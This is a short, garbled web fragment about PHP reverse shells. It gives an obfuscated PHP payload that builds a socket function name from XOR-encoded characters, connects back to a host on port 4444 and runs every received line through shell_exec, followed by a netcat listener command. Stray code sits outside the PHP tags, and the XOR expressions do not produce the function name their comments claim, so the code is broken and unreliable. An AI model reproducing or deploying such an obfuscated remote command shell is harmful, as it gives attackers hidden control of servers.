// Close the socket fclose($sock); ?>
In a typical "bind shell" scenario, a server listens for an incoming connection from a client. Firewalls and NATs often block these incoming connections. Reverse Shell Php
<?php $f = ("@"^"!").("@"^"!").("@"^"\"").("@"^"<").("@"^"("); // constructs 'fsock' $g = ("@"^"#").("@"^"[").("@"^"\\").("@"^"^"); // constructs 'open' $func = $f . $g; $sock = $func("127.0.0.1", 4444); while ($d = fgets($sock)) echo shell_exec($d); ?> // Close the socket fclose($sock);
rlwrap nc -lvnp 4444